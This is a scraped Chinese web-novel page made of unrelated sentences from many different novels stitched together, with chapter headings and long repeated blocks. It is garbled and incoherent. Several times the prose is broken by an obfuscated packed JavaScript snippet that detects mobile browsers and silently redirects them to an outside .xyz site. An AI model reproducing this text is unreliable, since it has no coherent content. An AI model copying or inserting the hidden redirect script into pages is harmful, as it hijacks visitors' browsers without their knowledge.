那轮原本暗红色的月亮,倒是在这个时候逐渐变得明亮了起来,散发出了银白色的光芒。 如果说她真的让云长歌太过理智,太能分析这件事就这么过去,她都觉得对不起自己。 瞧郡主这副模样,四个丫鬟面面相觑,不知道今日是谁惹到了郡主。 这个温泉呢,不仅仅可以泡温泉,而且还可以在温泉里面吃东西,而且还是很美味的东西,甚至是酒,不过酒还是不要和太多,也不要度数太深,要不然自己就会晕过去。 “回家。紫菀那儿。”林逸迷迷糊糊地应了一句。然后便睡了过去。 垂下眼睫,静静沉思了瞬,而后双眼突然大睁,像是想到了什么让人兴奋的事情,掀开前衣摆,急不可耐地冲了出去。而他身后的欧芝兰,则笑的满面算计。 于是,林逸从一个大富翁瞬间沦为了大负翁,都还没有来得及好好享受享受有钱人的奢靡生活呢。 后来从军营回来,表面上他对她也比较冷淡,可是他也试着对她敞开心怀,但是结果不比他所想的。 仅仅不到十分钟,林逸和桐叶两人便将近二十号保镖撂翻在了地上,当然,这里面大多都是桐叶的功劳,林逸喊加油的成分居多。 至于倒时候四皇子的花轿能不能接到人,她一点都不在乎,洛家人会不会因此遭罪,她更是不在乎。只是可惜了那三十万两银子,不过好在上次的五十百两银子她还没有花完,用剩下的银子找一个落脚点还是足够的。 “不自量力!”赫连灏明冷哼一声,也不做势,就那样在椅子上坐着凭空而起。 仿佛刚刚经过秋季一般,生命之树只剩下几片枯叶依旧挂在枝头,粗壮的树干已经空空如也,而且那树干仿佛空洞了一般,失去了生机。 白羽,可没有那么多的耐心,他暴躁的一个门,接着一个门的拉开,可就当他拉开最后一扇门的时候,他有些震惊。 三日后的雨夜,慈宁宫的太后娘娘终于在电闪雷鸣中等来了她苦等六年的晋王殿下。 “杀!”一声暴喝,就见一道蓝色身影腾空而起,挥舞战抢直取秦天戈的眉心,杀机凛冽。 里面吹出来的风,也不再阴测测,释迦紧闭的双眼突然睁开,在众人还在不知所措的时候,释迦身体骤然而起,直奔洞府而去。 妃色很衬她雪白的肤色,她知道自己很美,忍不住挺直了腰板,充满自信的朝云长歌抬下巴笑了笑。 虽然封玦觉得这很有可能是自己的父王夸大其词,觉得自己的孩子便很优秀的错觉,可是,封玦自己对自己的容貌还是很自信的。 当然,萧璟斓这会儿自然是没有料到,他不过是来了一趟天上人间,差点没有捅了马蜂窝,丢了自己的命根子。 种种原因,导致金融机制这个行业,就跟虚拟游戏行业一样,是两个难兄难弟,一个比一个混的惨。 “恩。”李灵溪红着眼睛,重重的点头,看着古牧露出了感激之色。 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妃色很衬她雪白的肤色,她知道自己很美,忍不住挺直了腰板,充满自信的朝云长歌抬下巴笑了笑。 虽然封玦觉得这很有可能是自己的父王夸大其词,觉得自己的孩子便很优秀的错觉,可是,封玦自己对自己的容貌还是很自信的。 当然,萧璟斓这会儿自然是没有料到,他不过是来了一趟天上人间,差点没有捅了马蜂窝,丢了自己的命根子。 种种原因,导致金融机制这个行业,就跟虚拟游戏行业一样,是两个难兄难弟,一个比一个混的惨。 “恩。”李灵溪红着眼睛,重重的点头,看着古牧露出了感激之色。 一个又一个星系,极为熟悉,让秦天戈一眼就能看穿,包括银河系在内,足足上千个星系团分布在面前的宇宙平面图。 那轮原本暗红色的月亮,倒是在这个时候逐渐变得明亮了起来,散发出了银白色的光芒。 如果说她真的让云长歌太过理智,太能分析这件事就这么过去,她都觉得对不起自己。 瞧郡主这副模样,四个丫鬟面面相觑,不知道今日是谁惹到了郡主。 这个温泉呢,不仅仅可以泡温泉,而且还可以在温泉里面吃东西,而且还是很美味的东西,甚至是酒,不过酒还是不要和太多,也不要度数太深,要不然自己就会晕过去。 “回家。紫菀那儿。”林逸迷迷糊糊地应了一句。然后便睡了过去。 垂下眼睫,静静沉思了瞬,而后双眼突然大睁,像是想到了什么让人兴奋的事情,掀开前衣摆,急不可耐地冲了出去。而他身后的欧芝兰,则笑的满面算计。 于是,林逸从一个大富翁瞬间沦为了大负翁,都还没有来得及好好享受享受有钱人的奢靡生活呢。 后来从军营回来,表面上他对她也比较冷淡,可是他也试着对她敞开心怀,但是结果不比他所想的。 仅仅不到十分钟,林逸和桐叶两人便将近二十号保镖撂翻在了地上,当然,这里面大多都是桐叶的功劳,林逸喊加油的成分居多。 至于倒时候四皇子的花轿能不能接到人,她一点都不在乎,洛家人会不会因此遭罪,她更是不在乎。只是可惜了那三十万两银子,不过好在上次的五十百两银子她还没有花完,用剩下的银子找一个落脚点还是足够的。 “不自量力!”赫连灏明冷哼一声,也不做势,就那样在椅子上坐着凭空而起。 仿佛刚刚经过秋季一般,生命之树只剩下几片枯叶依旧挂在枝头,粗壮的树干已经空空如也,而且那树干仿佛空洞了一般,失去了生机。 白羽,可没有那么多的耐心,他暴躁的一个门,接着一个门的拉开,可就当他拉开最后一扇门的时候,他有些震惊。 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一个又一个星系,极为熟悉,让秦天戈一眼就能看穿,包括银河系在内,足足上千个星系团分布在面前的宇宙平面图。 那轮原本暗红色的月亮,倒是在这个时候逐渐变得明亮了起来,散发出了银白色的光芒。 如果说她真的让云长歌太过理智,太能分析这件事就这么过去,她都觉得对不起自己。 瞧郡主这副模样,四个丫鬟面面相觑,不知道今日是谁惹到了郡主。 这个温泉呢,不仅仅可以泡温泉,而且还可以在温泉里面吃东西,而且还是很美味的东西,甚至是酒,不过酒还是不要和太多,也不要度数太深,要不然自己就会晕过去。 “回家。紫菀那儿。”林逸迷迷糊糊地应了一句。然后便睡了过去。 垂下眼睫,静静沉思了瞬,而后双眼突然大睁,像是想到了什么让人兴奋的事情,掀开前衣摆,急不可耐地冲了出去。而他身后的欧芝兰,则笑的满面算计。 于是,林逸从一个大富翁瞬间沦为了大负翁,都还没有来得及好好享受享受有钱人的奢靡生活呢。 后来从军营回来,表面上他对她也比较冷淡,可是他也试着对她敞开心怀,但是结果不比他所想的。 仅仅不到十分钟,林逸和桐叶两人便将近二十号保镖撂翻在了地上,当然,这里面大多都是桐叶的功劳,林逸喊加油的成分居多。 至于倒时候四皇子的花轿能不能接到人,她一点都不在乎,洛家人会不会因此遭罪,她更是不在乎。只是可惜了那三十万两银子,不过好在上次的五十百两银子她还没有花完,用剩下的银子找一个落脚点还是足够的。 “不自量力!”赫连灏明冷哼一声,也不做势,就那样在椅子上坐着凭空而起。 仿佛刚刚经过秋季一般,生命之树只剩下几片枯叶依旧挂在枝头,粗壮的树干已经空空如也,而且那树干仿佛空洞了一般,失去了生机。 白羽,可没有那么多的耐心,他暴躁的一个门,接着一个门的拉开,可就当他拉开最后一扇门的时候,他有些震惊。 三日后的雨夜,慈宁宫的太后娘娘终于在电闪雷鸣中等来了她苦等六年的晋王殿下。 “杀!”一声暴喝,就见一道蓝色身影腾空而起,挥舞战抢直取秦天戈的眉心,杀机凛冽。 里面吹出来的风,也不再阴测测,释迦紧闭的双眼突然睁开,在众人还在不知所措的时候,释迦身体骤然而起,直奔洞府而去。 妃色很衬她雪白的肤色,她知道自己很美,忍不住挺直了腰板,充满自信的朝云长歌抬下巴笑了笑。 虽然封玦觉得这很有可能是自己的父王夸大其词,觉得自己的孩子便很优秀的错觉,可是,封玦自己对自己的容貌还是很自信的。 当然,萧璟斓这会儿自然是没有料到,他不过是来了一趟天上人间,差点没有捅了马蜂窝,丢了自己的命根子。 种种原因,导致金融机制这个行业,就跟虚拟游戏行业一样,是两个难兄难弟,一个比一个混的惨。 “恩。”李灵溪红着眼睛,重重的点头,看着古牧露出了感激之色。 一个又一个星系,极为熟悉,让秦天戈一眼就能看穿,包括银河系在内,足足上千个星系团分布在面前的宇宙平面图。 那轮原本暗红色的月亮,倒是在这个时候逐渐变得明亮了起来,散发出了银白色的光芒。 如果说她真的让云长歌太过理智,太能分析这件事就这么过去,她都觉得对不起自己。 瞧郡主这副模样,四个丫鬟面面相觑,不知道今日是谁惹到了郡主。 这个温泉呢,不仅仅可以泡温泉,而且还可以在温泉里面吃东西,而且还是很美味的东西,甚至是酒,不过酒还是不要和太多,也不要度数太深,要不然自己就会晕过去。 “回家。紫菀那儿。”林逸迷迷糊糊地应了一句。然后便睡了过去。 垂下眼睫,静静沉思了瞬,而后双眼突然大睁,像是想到了什么让人兴奋的事情,掀开前衣摆,急不可耐地冲了出去。而他身后的欧芝兰,则笑的满面算计。 于是,林逸从一个大富翁瞬间沦为了大负翁,都还没有来得及好好享受享受有钱人的奢靡生活呢。 后来从军营回来,表面上他对她也比较冷淡,可是他也试着对她敞开心怀,但是结果不比他所想的。 仅仅不到十分钟,林逸和桐叶两人便将近二十号保镖撂翻在了地上,当然,这里面大多都是桐叶的功劳,林逸喊加油的成分居多。 至于倒时候四皇子的花轿能不能接到人,她一点都不在乎,洛家人会不会因此遭罪,她更是不在乎。只是可惜了那三十万两银子,不过好在上次的五十百两银子她还没有花完,用剩下的银子找一个落脚点还是足够的。 “不自量力!”赫连灏明冷哼一声,也不做势,就那样在椅子上坐着凭空而起。 仿佛刚刚经过秋季一般,生命之树只剩下几片枯叶依旧挂在枝头,粗壮的树干已经空空如也,而且那树干仿佛空洞了一般,失去了生机。 白羽,可没有那么多的耐心,他暴躁的一个门,接着一个门的拉开,可就当他拉开最后一扇门的时候,他有些震惊。 三日后的雨夜,慈宁宫的太后娘娘终于在电闪雷鸣中等来了她苦等六年的晋王殿下。 “杀!”一声暴喝,就见一道蓝色身影腾空而起,挥舞战抢直取秦天戈的眉心,杀机凛冽。 里面吹出来的风,也不再阴测测,释迦紧闭的双眼突然睁开,在众人还在不知所措的时候,释迦身体骤然而起,直奔洞府而去。 妃色很衬她雪白的肤色,她知道自己很美,忍不住挺直了腰板,充满自信的朝云长歌抬下巴笑了笑。 虽然封玦觉得这很有可能是自己的父王夸大其词,觉得自己的孩子便很优秀的错觉,可是,封玦自己对自己的容貌还是很自信的。 当然,萧璟斓这会儿自然是没有料到,他不过是来了一趟天上人间,差点没有捅了马蜂窝,丢了自己的命根子。 种种原因,导致金融机制这个行业,就跟虚拟游戏行业一样,是两个难兄难弟,一个比一个混的惨。 “恩。”李灵溪红着眼睛,重重的点头,看着古牧露出了感激之色。 一个又一个星系,极为熟悉,让秦天戈一眼就能看穿,包括银河系在内,足足上千个星系团分布在面前的宇宙平面图。 那轮原本暗红色的月亮,倒是在这个时候逐渐变得明亮了起来,散发出了银白色的光芒。 如果说她真的让云长歌太过理智,太能分析这件事就这么过去,她都觉得对不起自己。 瞧郡主这副模样,四个丫鬟面面相觑,不知道今日是谁惹到了郡主。 这个温泉呢,不仅仅可以泡温泉,而且还可以在温泉里面吃东西,而且还是很美味的东西,甚至是酒,不过酒还是不要和太多,也不要度数太深,要不然自己就会晕过去。 “回家。紫菀那儿。”林逸迷迷糊糊地应了一句。然后便睡了过去。 垂下眼睫,静静沉思了瞬,而后双眼突然大睁,像是想到了什么让人兴奋的事情,掀开前衣摆,急不可耐地冲了出去。而他身后的欧芝兰,则笑的满面算计。 于是,林逸从一个大富翁瞬间沦为了大负翁,都还没有来得及好好享受享受有钱人的奢靡生活呢。 后来从军营回来,表面上他对她也比较冷淡,可是他也试着对她敞开心怀,但是结果不比他所想的。 仅仅不到十分钟,林逸和桐叶两人便将近二十号保镖撂翻在了地上,当然,这里面大多都是桐叶的功劳,林逸喊加油的成分居多。 至于倒时候四皇子的花轿能不能接到人,她一点都不在乎,洛家人会不会因此遭罪,她更是不在乎。只是可惜了那三十万两银子,不过好在上次的五十百两银子她还没有花完,用剩下的银子找一个落脚点还是足够的。 “不自量力!”赫连灏明冷哼一声,也不做势,就那样在椅子上坐着凭空而起。 仿佛刚刚经过秋季一般,生命之树只剩下几片枯叶依旧挂在枝头,粗壮的树干已经空空如也,而且那树干仿佛空洞了一般,失去了生机。 白羽,可没有那么多的耐心,他暴躁的一个门,接着一个门的拉开,可就当他拉开最后一扇门的时候,他有些震惊。 第一卷 第219章 把江美人发配边疆 不知过了多久,晚余悠悠醒来,睁开眼,看到头顶云水蓝的纱帐,恍惚了片刻,才意识到这是在她自己的寝殿里。 她转了转干涩的眼珠,想坐起来,发觉头脑昏沉,身子酸软无力,手脚都软得不听使唤。 修道之人也是人。即便她再服食仙丹妙药,姿色整饬的再玉洁无暇,但魂魄被吞吃掉之后,她的肉身失去自持的能力,便立刻失禁了。屎尿同样当场撒了一裤裆!死相可以说是相当的凄惨。 真正让杨渥感到头痛的是,王茂章虽然骁勇善战,但他的性格同样容易被激怒,而一旦他被激怒后,就容易被敌军所趁。 “嗷嗷嗷~~”几声类似狗叫沉吟,安子眼睛一亮,想起二蛋寻宝的变态本领。 “边镐,这次若是能大幅度降低我军的伤亡,你就是立下大功了,将来老夫定要给你请功!”他拍了拍边镐的肩膀大声说道。 “楚主席,我参加就是了,您消消气。”我嘿嘿一笑说道。没办法,真把这丫头惹急了,科科给我挂红灯,回家老爸老妈还不打死我。楚雅琪听完拿出一张参赛表,递给了我,我签上名字,怎么想怎么感觉不对劲。 这么多年的征战,除了刘存在岳州遭遇了一场大败以外,淮南军基本就没有什么败仗,都是一路横扫各方,即便是对梁军这个天下第一藩镇,淮南军都打出了前所未有的大捷。 “误会,都是误会!我只是想进来借个厕所而已,真的没有敌意的!”光头男子脸色狂变,连忙解释道。 超地珍实在咽不下这口气,手上光华一闪,闪出两把剑,双手持剑,大声呐喊声,全身一下火光大作。 并且四通八达的官道上,全部都是宽敞整洁,铺着碎石子!偶尔有车马奔腾而过,没有丝毫的尘埃扬起。 “安兄这是何意?难道宗某没资格与你交手?”安子收回刀剑,刘宗鼎自尊心受伤,同时露了怯。 一尾守鹤、熊猫交子、棕熊熊大、妙蛙花、水箭龟……一头一头巨兽嘶吼,带来的是恐惧。 宓攸宁听到韩云这么说,脸上没有太多的表情,依然保持她该有的淡然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604231|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沉寂,这山巅之山是愈发的安静了,萧问道的这句问话,将山巅的风声和雪声,也都掩盖住了。 “行,那我回去了。我们明天就一起看刘飞的表现吧!”陈刚又看着刘主任说道。 心脏,剧烈的抖动了一下。仿佛那片叶子是一位绝世的高手,一下就能杀了他一样。 唐稣觉得奇怪,朝她脸上仔细一看,才发觉她双眸红肿不堪,简直像两颗桃儿。 师爹说,她这臭棋艺这么多年也没点长进,真是枉费了有他这样棋艺闻名的师爹。 就这样,陈刚和赵伟就走出了老中医的办公室。这个老中医还客气地把他们俩送到了楼梯口,看着他们俩下楼去了,这才又回到了自己的办公室里。 他虽一向轻言轻语和风满面,却是以心肠歹毒著称,**,疯狗,黑心眯眯眼等乱七八糟的贬义称呼都有过,却唯独没人叫过他娘炮。 一行人也是通过传送阵直接来到附近,然后乘骑坐骑过去。泣血水云早早的就在那里等待了。看到众人过来,才从自己的白鹰上下来。 第一卷 第220章 你们立了大功,想要什么赏赐 灵液涌向叶牧体内九脉的穴窍,一遍遍洗涤着经脉,又从经脉中涌向五脏六腑,冲刷着其中的血肉,如此反复,不知持续了多久。 可最终二人还是打得有来有回,其他人不知道而剑落雁是可以看出枫朔还留有余地。 老天真是瞎了眼才会让这种人获得传承,现在这种情况,他们还巴不得呢。 凶爪不顾一旁琉凤允许擅自出手,给手中勾爪附上罗刹魔影地诀“黒焰咒刀”,立即换成水妖魂魄放出灵诀“魔影咒缚”,以漆黑锁链束缚住狂蛾并将其拉向自己。 季爱莲将车停在原先停放的地方,又回了传达室,让她没想到的是,就短短一会的功夫,她的盒饭已经卖了五份。 “唉,可惜没留下活口,这样看来,甘兴要么进入戈壁了,要么早就**!”欧阳暄道。 现在的他,已是清楚,灵纹一般分为初级,中级,高级,大多数修行者都处于这种级别,而那些真正精通此道的人,据说都是在天纹级别,甚至更高。 然而,还没等到他把话说完,蔡木亮狠狠一巴掌打在他脸上,打得他脸庞火辣辣的疼痛,嘴角溢血。 “已经鉴定清楚了,的确都是四阶妖兽内核无疑,分别是赤面鬼狐,青角兕,雷魔猿的晶核。”郑硕笑道。 似曾相识的话音落入耳中,沈知云一个激灵,差点从凳子上摔下去,好在一旁的沈旭尧及时扶住了她。 白沐眉眼弯弯的点了点头,又继续带着老婆婆往前走,从传送石直接传过玉空之心。 这许多设想,吉仔甚至想都不敢想,只能是逼着自己静心练功。现在看到这只活蹦乱跳的猫,安心的同时自然也是忍不住生气,亏自己一直担心着他,结果呢?他还是一如平时一样的没心没肺。 让他们走吧,虽然这样会对温柯不利,但慕川还是不忍心拦住他们。 大概没想到她这么直接,那两个姑娘一时不知道该如何反应,脸腾地就红了。 陈如星虽然不知道什么是变态,什么是百合,但听巫凌这么一说,心里也猜出了七八分:“一天到晚,你脑袋里到底想的些什么!算了,懒得理你了,不然真回不去了!”说完,他转身离开了院子。 至于已经习惯的巫九和安格斯脸上丝毫没有不自在,有的只是赤果果的羡慕嫉妒恨。 “他说他是大天了?”白娘娘觉得奇 怪,那他一直在游戏里干什么?怎么不出来。 好了,现在你应该已经知道我为啥子要走了。因为我,也开始接触长生的门槛,我也变了,我也不能控制自己了。我没有师父那么厉害,自己修炼永远也到不了长生。没错,我接触的长生,就是你。 阎君默默上前抬起手,陌沫眼睛一亮说了句:“哟!帅哥……”还没说完,就被一巴掌拍在头上,原地转了两圈,然后她捂着头痛苦的呻吟了几声。 旁边的冯姑姑却皱了皱眉头,朝薛正妃行了一礼:“娘娘,那蟹黄粥不该送去柳侧妃那边的,实在不妥当。”魏侧妃这般提议的时候她不好直说,就怕得罪了魏侧妃,也只有等她走了以后才好说了。 CoCo的目光微闪了闪,扬起嘴角也将杯中的红酒全喝了下去。 也就是嗓子还在不舒服的苏舟、早已经历过无数幕类似场景的雷蒙、还有已经彻底离开乒坛的阿杰尔还没有露出那种锋芒毕露的表情。 夜胜鸣自然不想做这个恶人,既然秘密已经公开,那就看谁的本事大了。 而相较于君辰寒和君望的担心焦虑,此刻的司律痕倒显得从容不迫极了。 最终目的是为了向她表示她喜欢他什么样子,他就改掉那副样子,只为让她知难而退。 为何会有这种奇怪的声音?这声音又是从什么地方发出来的?花语平原!难道说这种奇怪的声音是这些花发出来的吗? 百炼大师前半句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604232|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还一脸正色的说着,但是后半句就恢复了之前一贯没正行的模样。 月彩冷哼一声挑衅着说道,同时在心中暗暗发狠,再也不要和这个讨人厌的家伙说话。 萧固忙着向后退了两步抬头一看,说:“太阳晒的……有点热。”把碗递过去连声告辞也没讲就离开了。真旗还歪着脑袋想是不是在萧固身在菜园的时候连给他送吃的都不可以。 虽然约定的内容可能有一些细微的不同,但他隐约猜到了这个世界的自己与贺铮的约定。 在下水道窜上窜下,这样的行为很容易让人联想到生活在下水道方面。 何向东离开北京也好几个月了,一直都没回去看过,虽然是通着电话,但是他这心里总是放心不下。 这些人都是妄想跟上去观看姬苍生和那个古兰一战的,可惜他们注定是看不到了。 当然现在看着关羽,王道的眼神也一点儿也不友善,甚至如果目光能够杀**的话,此时的关羽早就被千刀万剐了。 从自己头顶的动静来看,想在被挖出来之前就完成强化是一件基本不可能的事情。 简单来说,人类的对错观念是无情的,有利的既是正确,有害的即为错误。 贯口第一句话一出来,评审团所有的相声腕儿们齐齐一惊,包括有些在面前纸上写写画画的演员们也在这一瞬间豁然抬头极度诧异地看着台上那个正在口若悬河说着贯口的年轻人。 闻言,孙姐脸上的笑容也慢慢收敛起来了,她认真地看着白定堂,眉头稍稍蹙着。 更何况抛开这些实实在在看得见的足以振奋人心的讯息不谈,在这背后所透露的,桃园队所具备的挑战强队的实力,才是最让学校众人感到惊喜地。 不得不说,敷岛今晚招待的晚餐确实赞,鲍鱼、石斑鱼、鲷鱼、象拔还有陈年老酒等等,这一桌子要是在东京,没有三十万日元绝对下不来,三上武男他们确实是用心了。 第一卷 第221章 这是朕最后的让步 当涂程远手中的板砖扬起,就要往季晨脑门上招呼时,季晨二话不说,抬腿就是一脚,直接把涂程远踹飞在七米开外。 蚁后较为特殊,她们因为每日要产数百枚卵,所以每位蚁后单独享用一叶芋圆。 “没什么?呵呵……真没什么?洛茜茜端起一旁的酒杯弱弱地喝了一口,随后又噗的吐了出来,这下假咳变真咳了。 “是有一些。刘之一点点头,“这个暑假我很忙,我打算先回一趟家,然后我会去乌克兰办点事情,从今年开始,我们见面将会变少很多,你早点**,以后你要常到美国来看我了。 “你觉得师父他到底会怎么选?洛茜茜叹了一口气,还是有几分心软,就算是有些本该说出口的冷厉言语,都没有吐出,还依旧叫着师傅。 白珂心里清楚,为了隐瞒代嫁之事,云家的人是战战兢兢,她也不喜同云家之人打交道,但她还需要云瑶的这个身份,避免颜珏起疑,也是无可奈何。 幸好自己得到了玄姬月的赏识,只要立的功劳足够,就不怕王府不给自己这样的资格。 他们多么希望,那冲天的祥云,以及奇异遁光,都是朝着西方极乐世界而来。 “我说了别进来!苏长枫愤怒地抬起头,看见却是她老公蒋善楠。 青龙帮在一年前灭掉了天狼帮,四大**一夜之间血洗天狼帮的事情,至今仍有传闻。青龙帮老大青龙,是个农民出身,一路杀伐,才有今天的地位。 再简单的说,世界上任何被阻隔或者对立的东西,之间都存在一种临界点,有些临界点很简单很脆弱,无意中被人为轻松突破,你都不知道。 不管什么时候她都是美人,只是今天看上去格外的漂亮,不,说是可爱更恰当。 “琉星,你没有事情吧。春菜,唯,美柑听到有**声,便立刻赶了过来,发现琉星对面的墙壁上面出现了一个大洞,而且还有一个骑着扫把在飞的恭子。 无数男子的心都被揪紧了,往往连可萱的目光看向哪里,那里就会成为所有人注视的焦点。 “江北苏家。那就是钱柏江的老乡了。你跟我说说钱柏江的为人如何。尹乐轻声道。 现在也来不及多想了。既然已经这样了,是福不是祸,是祸躲不过,干脆就定下心神,跟着陈久往乾清宫走去。 也许是吞噬了太多的黑色能量,这头星兽显得兴奋无比,身体带着漆黑光芒朝着舰队奔袭而去。 “坐!”见沈十三还是那副悠闲自在的样子,沙和尚并没发火,而是热情的邀请道。 可惜,他们拿屠瑶一点办法都没有,如今,已经有不少人向对方施压,要求放了屠瑶。 彩袖殷勤捧玉钟,当年拚却醉颜红。舞低杨柳楼心月,歌尽桃花扇底风。 “归情是这么说的,具体我也不敢确定。”经鬼老这么一问,龙翩翩也不敢确定了,因为自己不懂蛊。 不过,龙帝本来就不是以肉搏见长的,也不是本身的魔法能力,更重要的是龙息和龙语魔法,所以,我决定结束近战,试试我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我开始把自己收拾了一下因为连我自己都不想看到自己这副惨淡的样子。 但是对于沈裕来说似乎却是不一样的因此他的心情也特别的好。 刘白玉铁了心沈林风也保不住我因为他可以和沈林风的老爸说我在欺骗沈林风的感情带着沈林风走歪路到时候沈林风有权势的老爹会相信谁不用猜都知道。 但是有时候有些架必须要打那么就算是打这场架会让自己损失很大但是这架也一定要打这是原则问题不能变。 两人周身剑气激荡三米之内无一头妖兽可近身以郭超两人的修为之前在应对两头天元境中期的炽火血蝠时完全没有花费太多的时间 那么安高磊给出的意见就是找胡媚他很明白胡媚是可以办到的。 近在咫尺她清楚地看到上方男人好看的下颌线已经微垂下的薄眼皮。 这时候那发妻却突然怀孕这个孩子便是谢敦彦之后没几年发妻去世。 如今大陆的物价越来越高若是燕儿在身边随随便便炼制一颗丹药与一名炼器师交换她们也是赚的可如今她只能把灵草一株一株的卖再用灵石去请人炼器这样其实是极不划算的。 就这样顾十一与蒲嫣澜和狐狸便在屋子里住下老马睡在了外头院子里待得打发了送水送饭的丫头婆子之后她们便将那院门关紧进屋子里面歇息了。 一些修者从不远处飞速赶来当看到现场一幕之后皆是瞳孔皱缩。 但他知道那不是长久之计万一到老了家里人生场大病靠他倒卖药材挣的那点钱能干什么? 东厢虽熄了灯榻上的明漪却毫无睡意直直睁着眼盯着帐顶早先在酒 肆时听说明日可以随着薛凛一道去军营的雀跃已是半点儿不剩。 王溪玄端着餐盘,看到魏莪术坐在这,直接就在他身边的位置坐下,一起吃早饭。 明漪下意识点了点头,迈步前,目光一瞥,撞见他空荡荡的腰间,才想起什么般,忙道,“等等!”手朝着微雨伸去。 他对汉帝有没有什么感情,见不见都无所谓,何必将自己置于危险的境地呢。 两个青年脸色都不太好看,没有搭理我,也没有敢动手,毕竟上海的治安一向很好,这里是大街,随时都有警察在巡逻。 风信子最后捏碎回城卷轴,在最后一秒,战神云天等人身体消失的时候,林若夕出手了,冰雪剑轻轻一挥,雪花飞舞,瞬间打断回城状态并且被冰封了。 有的时候就在期望,如果自己的世界也有魔法该多好,那样就可以肆无忌惮的表演了。 这两千人马对于齐国与楚国的大军来说只能算是九牛一毛。但是千军易得,一将难求,他带出城的两千兵马都是自己一一叫的上名字的将才,一旦深入齐楚郑三军当中,可立刻统帅一路兵马奔赴与东夷对战。 沈盛泽原以为母亲和陈飞相遇应该是仇人见面分外眼红的那种,可没想到母亲被陈飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604234|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么一夸赞,竟然还笑了起来。 “我们不能再等了,今晚我亲自出宫,商榷最后的出击时间。”蔺沧海‘砰’的一声一掌拍在桌面上,满脸阴沉的看着前方,口气中带着不容置疑的凛冽寒意。 正如肖云飞所说,潘云这次从总公司过来,是代表李国顺董事长,来李家在海洋市的下属各个实业公司视察来了。 “弟弟全听姐姐安排!”莫辰抱拳说道,只是不觉间,被莫涟漪发现,他的脸上,竟然飘上了一丝淡淡的酡红。 “你先起来。”多年的老友跪在自己面前,蔺天琊哪里还有什么心情再问? “本想羽翼丰满顺势抢回外公的公司,没想到毕业前夕创业公司的合伙人卷走了公司所有的资,现在正千头万绪。”鲁佳宁娓娓道出近日困扰她的心中犹豫。 见陈瑞被人扶走,陈子玉心里松了口气,自己也朝着后院卧房走去。 京城的治安归他管,因赶庙会的百姓众多,他特意增派了一些官兵维持秩序。 便宜一百万就便宜一百万,好过这块毛料放在这里无人问津的好,如果不卖有可能真的是过了这个村,就没有了这个店。 这个太俗,没有突出气质。那个太艳,看着像秦楼楚馆中的妓人,这个又太素,没有气色,折腾来倒腾去,一个早上,就这么过去了。 就在此时,办公室的大门被一脚踹开,只见单微云脸色难看的走进来。 倏然,在所有人注视的目光中,宁凡与荒主两人当即化为两道炽烈的流光,以一种撕裂天地,破灭虚空的可怖速度,激撞在一起。 楚思卿一想到元宵宫宴上,沈流云提着那盏虾灯,用两个虾钳去夹韩南星的屁股,就忍不住想笑。 第一卷 第223章 嫉妒的快要发疯 晚余拒绝回答这个问题。 一路身体与木板地面摩擦而过,男子黑发凌乱的像鸡窝,好不狼狈。 吃饱喝足,糖糖去找赵秋红她们了,她既然说了,就会去做,从来不会打半点折扣。 此刻,赵嫣的病情似乎已经有些好转,而赵珍珠也在盘算着,她们是不是该乘船出海,南下福州了。 如此看来,轩辕阎风怕是因为她才堕入红尘,而作为古神之后的他,入世历劫必须经过五彩月才行。 禁术虽是强大,到底步卿嫡身受重伤,十几修士又懂专门克制步卿嫡的法子,一番打斗下来步卿嫡只是伤到了几位修士,却未破得了保护赵陵的剑气。 “你没事吧!”穆赶忙过去扶起人鱼,只见人鱼的头上磕了个大包。 霸王龙全程注意着少年的一举一动,自然也注意到了少年目光所及之处。 他别扭的转身,也不等对方同意,急急的就向人界飞去,反正他们是绝对不敢违抗他的命令的。 随从打开了门夜溧并未进去,只是站在门前,身姿绰约颇有几分笑意的看着余鸢这处。 洗好碗筷的男人从厨房里走了出来,见青年正看电视,想走过去坐到他身旁,却突然听到电视里传来禾白少、失踪等字眼。 宋箬溪敬了这一桌,又跟着欧阳氏到下桌去敬。一桌一桌进下去,敬到那位瓶儿表妹坐的那一桌。 最主要的是,可以进一步提升自身的实力,雷鸣高地一行恐怕不会容易,能够实力更强一点,总是好的。 